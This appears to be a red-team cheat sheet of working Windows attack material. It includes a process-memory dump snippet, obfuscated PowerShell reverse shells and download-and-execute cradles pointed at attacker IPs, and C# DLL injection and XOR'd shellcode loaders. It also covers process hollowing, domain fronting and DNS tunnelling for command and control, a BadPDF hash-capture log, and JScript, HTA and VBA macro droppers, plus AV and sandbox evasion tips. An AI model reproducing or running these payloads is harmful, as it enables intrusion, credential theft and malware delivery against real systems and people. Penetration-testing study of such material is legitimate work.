$B = $A.GetNestedType('Nativ'+'eMethods', 'Non'+'Public')
$C = [Reflection.BindingFlags] 'NonPublic, Static'
$D = $B.GetMethod('MiniDum'+'pWriteDump', $C) 
$PF = "$($P.Name)_$($P.Id).dmp"
$PDP = Join-Path $S $PF
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))
$F.Close()

Reverse Shells

Set-Alias -Name K -Value Out-String
Set-Alias -Name nothingHere -Value iex
$BT = New-Object "S`y`stem.Net.Sockets.T`CPCl`ient"($args[0],$args[1]);
$replace = $BT.GetStream();
[byte[]]$B = 0..(32768*2-1)|%{0};
$B = ([text.encoding]::UTF8).GetBytes("(c) Microsoft Corporation. All rights reserved.`n`n")
$replace.Write($B,0,$B.Length)
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$replace.Write($B,0,$B.Length)
[byte[]]$int = 0..(10000+55535)|%{0};
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);
$I = (nothingHere $ROM 2>&1 | K );
$I2  = $I + (pwd).Path + '> ';
$U = [text.encoding]::ASCII.GetBytes($I2);
$replace.Write($U,0,$U.Length);
$replace.Flush()};
$BT.Close()

Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)

$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$SS = $J.GetStream();
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
$OO = ([text.encoding]::UTF8).GetBytes("Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n")
$SS.Write($OO,0,$OO.Length)
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + '>')
$SS.Write($OO,0,$OO.Length)
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);
$GG = (i`eX $DD 2>&1 | Out-String );
$H  = $GG + (pwd).Path + '> ';
$L = ([text.encoding]::UTF8).GetBytes($H);
$SS.Write($L,0,$L.Length);
$SS.Flush()};
$J.Close()

Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)

$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);
$I = $c.GetStream();
[byte[]]$U = 0..(2-shl15)|%{0};
$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")
$I.Write($U,0,$U.Length)
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')
$I.Write($U,0,$U.Length)
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);
$a = (iex $D 2>&1 | Out-String );
$r  = $a + (pwd).Path + '> ';
$m = ([text.encoding]::ASCII).GetBytes($r);
$I.Write($m,0,$m.Length);
$I.Flush()};
$c.Close()

Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)

Reverse PowerShell:

$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 4445);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
        $writer.Write("PS> ");
        $writer.Flush();
        $read = $null;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);
        $sendback = (iex $data 2>&1 | Out-String );
        $sendback2  = $sendback;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $writer.Write($sendbyte,0,$sendbyte.Length);
}While ($true);
$writer.close();$socket.close();

PowerShell Download payload

WebClient DownloadData http://x.x.x.x/file.exe method:

$bytes = (new-object net.webclient).downloaddata("http://10.10.16.74:8080/payload.exe")
[System.Reflection.Assembly]::Load($bytes)
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static"
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)

Tools that may help with AV Evasion:

C2 Frameworks

Command And Control – C2 Framework – BOOK_GHANIM

Bypassing defender with sliver and staged process hollowing

I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.

This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.

Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would’ve helped us circumvent guest access blocking.

First generate a shellcode using msfvenom.

msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin

We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.

# Snippet from process hollowing code. See CheatSheet II for full code.
            string targetPath = "C:\\Windows\\System32\\svchost.exe";
            string shellcodePath = "\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin"; // Replace with the actual shellcode file path
            IntPtr processHandle, threadHandle;
            uint threadId;

No I will start an smbserver on my kali and setup sliver.

# Create a new profile that will be we will use for our staging listener.
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode

# Creata a steage listener and link it to our profile.
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size

# Last start a listener on mTLS. 
mtls

Convert .bin to shellcode \x hex

JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)

./binnim ~/shellcode.bin

DLL Hijacking

  • Use ProcessMonitor with filters
    • Result Contains "Name Not Found"
    • Path Ends With ".dll"
  • Generate a DLL. See below.
  • Name it as with the same name as the missing DLL.
  • If you have writeAccess to program folder, place it there. Otherwise try to abuse DLL search order.

DLL search order is as shown:

  1. The directory from which the application is loaded (E.g. C:\Program Files\application)
  2. The system directory (C:\Windows\System32)
  3. The 16-bit system directory
  4. The Windows directory
  5. The current directory
  6. Directories that are listed in the PATH environment variable

DLL Injection

  • Open Visual Studios
  • Choose Class Library (.Net Framework).
  • Accept the default name: ClassLibrary1 and proceed.

Staged DLL Injection

sudo msfvenom -p windows/x64/meterpreter/reverse_https
LHOST=192.168.119.120 LPORT=443 -f dll -o /var/www/html/met.dll

This is a ConsoleApp. When its run it will inject the generated met.dll above into explorer.exe. Change process name if you want to inject another process. For example Notepad. Just be sure that the process is actually running on the target machine before you inject it.

Note that this payload will write the met.dll to disk.

using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;

namespace Inject
{
    class Program
    {
        // Import the OpenProcess function from the kernel32.dll library.
        // This function is used to open an existing process by its ID.
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        // Import the VirtualAllocEx function from the kernel32.dll library.
        // This function allocates memory within a specified process.
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        // Import the WriteProcessMemory function from the kernel32.dll library.
        // This function writes data to an area of memory in a specified process.
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        // Import the CreateRemoteThread function from the kernel32.dll library.
        // This function creates a thread that runs in the address space of a specified process.
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        // Import the GetProcAddress function from the kernel32.dll library.
        // This function retrieves the address of an exported function or variable from a specified DLL.
        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        // Import the GetModuleHandle function from the kernel32.dll library.
        // This function retrieves a handle to the specified module (DLL) in the current process.
        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        static void Main(string[] args)
        {
            // Get the path to the My Documents folder.
            String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            
            // Construct the full path to the DLL file to be downloaded.
            String dllName = dir + "\\met.dll";
            
            // Create a WebClient instance for downloading files from the Internet.
            WebClient wc = new WebClient();
            
            // Download the DLL file from the specified URL to the local system.
            wc.DownloadFile("http://192.168.119.120/met.dll", dllName);
            
            // Get an array of Process instances for processes with the name "explorer".
            Process[] expProc = Process.GetProcessesByName("explorer");
            
            // Get the process ID of the first explorer process.
            int pid = expProc[0].Id;
            
            // Open the specified process with certain access rights.
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            
            // Allocate memory within the specified process.
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            
            // Declare a variable to store the number of bytes written during memory write operation.
            IntPtr outSize;
            
            // Write the bytes of the DLL name to the allocated memory in the target process.
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
            
            // Get the address of the LoadLibraryA function from the kernel32.dll library.
            IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
            
            // Create a remote thread within the target process to execute the LoadLibraryA function.
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
        }
    }
}

Reflective DLL Injection

This is a ClassLibrary. PowerShell that will download and execute malicious code in memory without touching the disk.

Requires a malicious DLL hosted on a download location you control.

You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.

The below code is a Class Library (.NET Framework)

using System;
using System.Runtime.InteropServices;

namespace runthat
{
    public class Beirut
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

        public static void Tripoli()
        {
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };

            int size = Tokyo.Length;

            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);

            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);

            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);

            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);

            Beirut.VirtualFree(Texas, 0, 0x8000);
        }
    }
}

Now load the DLL into memory.

$data = (New-Object System.Net.Webclient).DownloadData('http://192.168.1.126/run4.dll')

$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("runthat.Beirut")
$method = $class.GetMethod("Tripoli")
$method.Invoke(0, $null)

XOR’ed DLL injection code

Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!

using System;
using System.Runtime.InteropServices;


namespace runthat
{
    public class Beirut
    {

        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);



        public static void Tripoli()
        {

            byte[] Tokyo = new byte[324] {0xa8,....};

            for (int i = 0; i < Tokyo.Length; i++)
            {
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) & 0xFF);

            }

            int size = Tokyo.Length;

            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);


            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);


            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);


            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);


            Beirut.VirtualFree(Texas, 0, 0x8000);
        }

    }
}

Reflective injection using Invoke-ReflectivePEInjection.ps1

Invoke-ReflectivePEInjection – PowerSploit

Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.

Setup:

  1. Allow Script Execution in PowerShell
Powershell -Exec Bypass 

Commands:

  1. Download DLL and Get Explorer.exe Process ID:
$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll') 
$procid = (Get-Process -Name explorer).Id
  1. Import Invoke-ReflectivePEInjection Script:
Import-Module Invoke-ReflectivePEInjection.ps1
  1. Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID:
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid

Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.

$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.192/met3.dll') 
$procid = (Get-Process -Name explorer).Id


IEX(New-Object Net.WebClient).downloadString('http://192.168.45.192/Invoke-ReflectivePEInjection.ps1')

Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid

Domain Fronting

Domain fronting is a technique where someone hides the true destination of their internet traffic by making it appear as though it’s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it’s then redirected to its actual, hidden destination. It’s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.

Domain Fronting with Azure CDN

Objective: Host a Meterpreter listener on  ​meterpreter.info​  using Azure’s CDN to proxy requests.

1. Preliminaries:

  • A controlled domain.
  • An Azure subscription to create a CDN.
  • An internet-accessible machine.
  • Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).

2. Setting Up CDN in Azure:

  • From the Home screen, choose  ​Create Resource​ .
  • Search for  ​CDN​ .
  • Select  ​CDN​  and click  ​Create​ .

Configuration:

  •  ​Name​ : Any chosen name.
  •  ​Subscription​ : To pay for the service.
  •  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).
  •  ​RG Location​ : Chosen geographic location.
  •  ​Pricing Tier​ : Use  ​Standard Verizon​ .
  •  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .
  •  ​Origin Type​ : Set to  ​Custom Origin​ .
  •  ​Origin Hostname​ : The domain hosting the C2 server.

Wait ~90 minutes for Azure to complete the setup.

3. Disabling Caching:

  • Caching may break the C2 channel.
  • Choose  ​Endpoint and Caching rules​ .
  • Set  ​Caching Behavior​  to  ​Bypass Cache​ .
  • Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .

Wait up to 30 minutes for propagation.

4. Testing Connectivity:

4.1. HTTP Testing:

sudo python3 -m http.server 80

4.2. HTTPS Testing:

Use a Python script to handle HTTPS.

from http.server import HTTPServer, SimpleHTTPRequestHandler 
import ssl 
import socketserver   

httpd = socketserver.TCPServer(('138.68.99.177', 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="key.pem", certfile='cert.pem', server_side=True) 
httpd.serve_forever()

Run the script:

sudo python3 httpsserver.py

Verify using  ​curl​ :

curl http://offensive-security.azureedge.net 
curl -k https://offensive-security.azureedge.net

5. Find Frontable Domain:

  • Frontable domain must be hosted on  ​azureedge.net​ .
  • Use  ​FindFrontableDomains​  tool by Steve Borosh.

Installation:

git clone https://github.com/rvrsh3ll/FindFrontableDomains 
cd FindFrontableDomains/ 
sudo ./setup.sh

Example scan for  ​outlook.com​ :

python3 FindFrontableDomains.py --domain outlook.com

[-] Enumerating subdomains now for outlook.com
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
[-] Total Unique Subdomains Found: 2553
www.outlook.com
(...)
recommended.yggdrasil.outlook.com
---------------------------------------------------------
Starting search for frontable domains...
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.
Search complete!

Test potential frontable domain:

curl --header "Host: offensive-security.azureedge.net" http://chosen-frontable-domain.com

6. Inspecting Traffic:

  • Use  ​Wireshark​  to inspect DNS and HTTP requests.

Getting shell using Domain fronting

  • Initial setup: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:
    • The fronting domain is hosted on the same CDN as the attacker’s domain.
    • CDN forwards requests based on the HTTP  ​Host​  header.
  • HTTPS Inspection: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.
  • Certificate Details:
    • The TLS certificate used in the exchange can be Microsoft’s.
    • A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it’s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.
  • Payload Creation:
    • Use  ​msfvenom​  to create a reverse shell payload.
    • The  HttpHostHeader  option sets the  ​Host  header in HTTP. In the example:  msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe > http-df.exe​ .
  • Listener Configuration:
    • Configure a listener on the VM hosting the attacker site.
    • Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.
  • Payload Execution:
    • Start packet capturing tool (e.g., Wireshark).
    • Execute the payload.
    • Inspect the traffic details.
    • The shell connects to the fronted domain’s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).

DNS Tunneling

DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.

dnscat2

Guide: DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)

GitHub – iagox86/dnscat2

  • Configuration on Ubuntu Machine
    • File to Edit:  ​/etc/dnsmasq.conf​ 
    • Config Entries:
      • Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.
server=/tunnel.com/192.168.119.120 
server=/somedomain.com/192.168.119.120
  • Restart dnsmasq:
offsec@ubuntu:~$ sudo systemctl restart dnsmasq
  • Installing and Running dnscat2 on Kali Machine
    • Installation:
kali@kali:~$ sudo apt install dnscat2
  • Starting Server:
kali@kali:~$ dnscat2-server tunnel.com
  • Client command (example):
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com
  • Running dnscat2 Client on Windows Machine
    • Start Command:
dnscat2-v0.07-client-win32.exe tunnel.com
  • Authentication Check
    • Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.
  • Interacting with Client Session on Kali Machine
    • Attach to Session:
dnscat2> session -i 1
  • Execute Commands Interactively:
command (client) 1> shell
  • Switch to New Session:
command (client) 1> session -i 2
  • Tunneling TCP with dnscat2 on Kali Machine
    • TCP/IP Tunnels Over DNS:
    • dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.
command (client) 1> listen 127.0.0.1:3389 172.16.51.21:3389

Dropper / Phishing

[BAD]PDF

BADPDF Malicious PDF Creator – Metasploit – InfosecMatter

# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.

# Use the metasploit exploit and generate a PDF 
msf6 auxiliary(fileformat/badpdf) > set lhost 10.10.14.8
lhost => 10.10.14.8
msf6 auxiliary(fileformat/badpdf) > set filename job.pdf
filename => job.pdf
msf6 auxiliary(fileformat/badpdf) > run

# Start a SMB server
impacket-smbserver share . -smb2support  

# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash. 

impacket-smbserver share . -smb2support                            
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.110.35,4181)
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)
[*] User WORKSTATION-1\Testuserauthenticated successfully
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000
[*] Closing down connection (10.10.110.35,4181)
[*] Remaining connections []

Jscript (.js)

  1. It downloads a file from a specified URL (” http://192.168.1.126/met.exe“).
  2. It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.
  3. If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named “met.exe” using the `ADODB.Stream` object.
  4. It then uses the `WScript.Shell` object to run the “met.exe” file.
var url = " http://192.168.119.120/met.exe";
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
Object.Send();
 
if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;
    Stream.SaveToFile("met.exe", 2);
    Stream.Close();
}
 
var r = new ActiveXObject("WScript.Shell").Run("met.exe");

Proxy-aware

var url = "http://192.168.119.120/met.exe";
var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP.3.0");

// Set proxy details using setProxy method
xmlhttp.setProxy(2, "http://proxy.example.com:8080", "");

xmlhttp.open("GET", url, false);
xmlhttp.send();

if (xmlhttp.status === 200) {
    var stream = new ActiveXObject("ADODB.Stream");
    stream.Open();
    stream.Type = 1;
    stream.Write(xmlhttp.responseBody);
    stream.Position = 0;
    stream.SaveToFile("met.exe", 2);
    stream.Close();
}

var shell = new ActiveXObject("WScript.Shell");
shell.Run("met.exe");

HTA

OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)

<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var re = shell.Run("powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe")
//var res = shell.Run("bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt");
//var res1 = shell.Run("timeout 10 && certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe");
//var res2 = shell.Run("timeout 12 && C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe");
var ress = shell.Run("powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>

VBA

Sub MyMacro()
	Dim str As String
	str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
	Shell str, vbHide
End Sub
Sub Document_Open()
	MyMacro
End Sub
Sub AutoOpen()
	MyMacro
End Sub
# 
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.

Sub Document_Open()
 MyMacro
End Sub
Sub AutoOpen()
 MyMacro
End Sub
Sub MyMacro()
 Dim str As String
 str = "powershell (New-Object 
System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe', 
'msfstaged.exe')"
 Shell str, vbHide
 Dim exePath As String
 exePath = ActiveDocument.Path + "\msfstaged.exe"
 Wait (2)
 Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
 Dim t As Date
 t = Now
 Do
 DoEvents
 Loop Until Now >= DateAdd("s", n, t)
End Sub

EXE to DLL

hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)

#Usage
#Run exe_to_dll from commandline. Arguments:
args: <input_exe> <output_dll>

# Example:
exe_to_dll.exe test_case1.exe test_case1.dll

# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.

Evasion techniques

AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM

Evasion techniques (checkpoint.com)

Hypervisor check

using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("hypervisor_check.dll", CallingConvention = CallingConvention.Cdecl)]
    public static extern bool is_run_in_hypervisor();

    static void Main()
    {
        bool inHypervisor = is_run_in_hypervisor();
        Console.WriteLine(inHypervisor ? "Running in a hypervisor!" : "Not running in a hypervisor.");
    }
}

Sleep function

// Import dll
[DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

// In main
DateTime t1 = DateTime.Now;
Sleep(5000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5)
   {
       return;
    }

Frida – Hooking

Initial Access – All-around tools

There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.

AV bypass can be tedious and some of these tools might help.

Theory

# On-Disk Evasion 

- Packers
- Obfuscator
- Crypters
- Software protectors

# In-memory Evasion

- Remote Process Memory Injection
- Reflective DLL Injection
- Process Hollowing
- Inline hooking

BallisKit – MacroPack

BallisKit

MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.

MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.

MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.

The free version of MacroPack is available here, though it won’t be as good as bypassing AV.

https://github.com/sevagas/macro_pack

# Must be installed from Windows machine 

# Some example commands from github. All other commands are available on Github
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba

# List all supported file formats
macro_pack.exe --listformats

# List all available templates
macro_pack.exe --listtemplates

mgeeky’s tools

Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.

Sponsor @mgeeky on GitHub Sponsors

binary-offensive | Offensive IT Security

Some of my private repositories shared with my Sponsors include:

MSISnatcher - MSI backdooring companion
Polonium - AV/EDR benchmarking tool, advanced shellcode loader
Bloated-EXE-in-LNK
SharpPRT - PRT extraction helper
cobalt-initial-opsec - headless agressor script
BOF.NET - (my fork) stealthily run .NET assemblies in-process
Carbuncle - (my fork) All you ever wanted from Outlook during RT
azure-functions-redirector
digitalocean-app-redirector
MyStayKit
Anonymize_CS_Logs
mgeeky-gists
and more..

Shellter

 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.

 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.

The free version only works for x86, not x64.

# Install 
sudo apt install shellter
apt install wine 

# If error 
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32:i386

# Start 
shellter

